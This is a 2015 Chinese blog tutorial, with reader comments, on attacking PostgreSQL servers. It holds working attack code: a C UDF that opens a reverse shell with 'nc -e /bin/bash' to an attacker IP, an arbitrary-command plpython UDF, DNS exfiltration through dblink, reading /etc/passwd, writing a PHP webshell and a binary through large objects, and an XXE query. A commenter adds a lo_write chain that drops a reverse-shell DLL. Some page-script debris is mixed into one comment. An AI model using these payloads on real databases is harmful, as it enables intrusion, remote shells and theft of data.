Hacking PostgreSQL

Ricter 2015-06-04 10:16:00

这篇文章主要讲解了如何 Hacking PostgreSQL 数据库,总结了一些常用方法。

0x01 SQL 注入


大体上和 MySQL 差不多,有一些变量不一样。具体就不再举例,可以看这篇总结:PostgreSQL SQL Injection Cheat Sheet
此外,利用 sqlmap 也是一个不错的方式。

0x02 执行命令


C

sqlmap 给出的几个 UDF 在我本地测试并不成功,所以最好的方法是自己编译一个动态链接库。
根据官方文档,我们要定义一个 PG_MODULE_MAGIC。在 PostgreSQL 这个是为了 Postgresql 的安全机制(大概?),在 8.2 以后需要验证这个 magic block,不然,在加在动态链接库的时候会报错:

ERROR:  incompatible library "xxx.so": missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

执行系统命令的动态链接库源码为:

#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

text *exec()
{
    system("nc -e /bin/bash 10.211.55.2 9999");
}

利用如下命令编译 .so 文件:

gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so

在 pgsql 里执行:

CREATE OR REPLACE FUNCTION exec()  RETURNS text AS  '/tmp/1.so', 'exec' LANGUAGE C STRICT;
select exec();

监听的 9999 端口得到一个 shell:

Python

默认 PostgreSQL 不会安装 Python 的扩展,在 Ubuntu 下可以通过:

apt-get install postgresql-plpython-9.1

进行安装,除了 python 的扩展,还有 sh、perl、ruby 等等。
安装完成后,首先是创建一个 UDF 来执行我们要执行的命令:

CREATE FUNCTION system (a text)
  RETURNS text
AS $$
  import os
  return os.popen(a).read()
$$ LANGUAGE plpython2u;

其中的 plpython2u 可以利用如下语句获取:

select * from pg_language;

我们可以根据返回来判断利用哪个语言(plpython2u、plpythonu、plpython3u 等等)。

创建好 UDF 后,直接调用如下语句即可:

select system('ls -la');

此外,sh、ruby 等同理,可以参考官方文档来写一个 UDF。

文档地址:http://www.postgresql.org/docs/8.2/static/server-programming.html

0x03 DNS 请求获取数据


同样的,PostgreSQL 可以通过 DNS Request 一样获取数据,在盲注的情况下。用到的一个扩展叫做dblink,可以通过如下命令开启:

CREATE EXTENSION dblink

接着运行如下语句,获取当前数据库用户名称:

SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);

远程获取到请求内容:

0x04 读写文件


PostgreSQL 读取文件虽然有些蛋疼,但是还是可以读取的:

CREATE TABLE temptable(t text);
COPY temptable FROM '/etc/passwd';
SELECT * FROM temptable limit 1 offset 0;

读取结束后:

DROP TABLE temptable;

写文件分为两个部分,一个是写 webshell,另外一个是写二进制文件。
写 webshell 十分简单,利用:

COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

即可写一个文件。
根据疯狗的这一篇帖子:http://zone.wooyun.org/content/4971,说是可以利用 PostgreSQL 的“大对象数据”来写,但是我测试是失败的。报错如下:

ERROR:  pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378

用 COPY 的 FORMAT 位 binary 来写文件的话,会被 PostgreSQL 加上几个字节,导致不能识别为 ELF 文件。
实际上,阅读官方文档可知,写的文件每一页不能超过 2KB,所以我们要把数据分段:

SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');
SELECT lo_unlink(12345);

其中每一段都要小于等于 2KB,这样就可以成功写入:

0x05 XXE


老版本的 PostgreSQL 存在 XXE 漏洞。具体可以看这篇文章:PostgreSQL (all) error-based XXE 0day
大体就是执行语句:

select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');

可以获取一些数据,也可以进行 SSRF 等。不过因为年代很久,可能很多都修复过了,所以作为一个保留方案,可能会有意外的惊喜。

参考


  1. PostgreSQL SQL Injection Cheat Sheet
  2. 关于PostgreSQL的那些事儿(文件读取写入、命令执行的办法)
  3. PostgreSQL 9.0 Documentation
  4. PostgreSQL (all) error-based XXE 0day

最后,如有错误请不吝赐教。

评论

Z

zcgonvh 2015-06-04 13:01:15

文件操作用lo那一套就可以,copy和adminpak都是废物。
读文件:
select lo_create(12345678);
Select lo_import('c:/windows/system32/cmd.exe',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=73957 order by pageno)a
去掉逗号花括号,然后winhex里面ctrl+b。
写文件可以用非公开函数lo_open、lo_lseek、lo_write,insert挺蛋疼的。
例如注入点直接反弹shell:
select lo_open(OID,x'60000'::int);
select lo_lseek(0,0,2);
select lo_write(0,decode('4d5a90000300','hex'));
Select lo_export(OID,'1.dll');
Select lo_unlink(OID);
Create or replace function test(text,int) returns int as '1.dll','GetResvShell' language c;
Select test('192.168.1.10',8888);
记得以前做过总结,等下找找发到zone。

R

Ricter 2015-06-04 13:28:54

@zcgonvh 反弹shell还是UDF,读文件这个蛮不错的。

mickey 2015-06-04 20:53:22

写的真好,我还说为啥不直接用libc里的system呢,原来高版本有magic block了,按照我国《刑法》第285条相关规定,我只能又默默的打开了https://pentesterlab.com/exercises/from_sqli_to_shell_pg_edition 虚拟机,开始了意淫。。

X

xsser 2015-06-05 12:12:03

@zcgonvh 不错

W

wefgod 2015-06-05 12:32:41

@zcgonvh 为何那么屌

懒懒滴1994 2015-06-05 13:25:18

请问这是翻译过来的文章么?有几处小错误- -

mickey 2015-06-06 16:08:52

0x03 DNS 请求获取数据
测试这部的时候,如果提示
exampledb=# create extension dblink;
ERROR: could not open extension control file "/usr/share/postgresql/9.1/extension/dblink.control": No such file or directory
则需要
[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */:~# apt-get install postgresql-contrib-9.1
[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */:/root$ psql -d exampledb -c "CREATE EXTENSION dblink"
CREATE EXTENSION

R

Ricter 2015-06-07 23:38:07

@懒懒滴1994 自己写的,求指出

R

Ricter

No hack no life.

随机分类

SQL注入 文章:39 篇
漏洞分析 文章:212 篇
Python安全 文章:13 篇
硬件与物联网 文章:40 篇
软件安全 文章:17 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录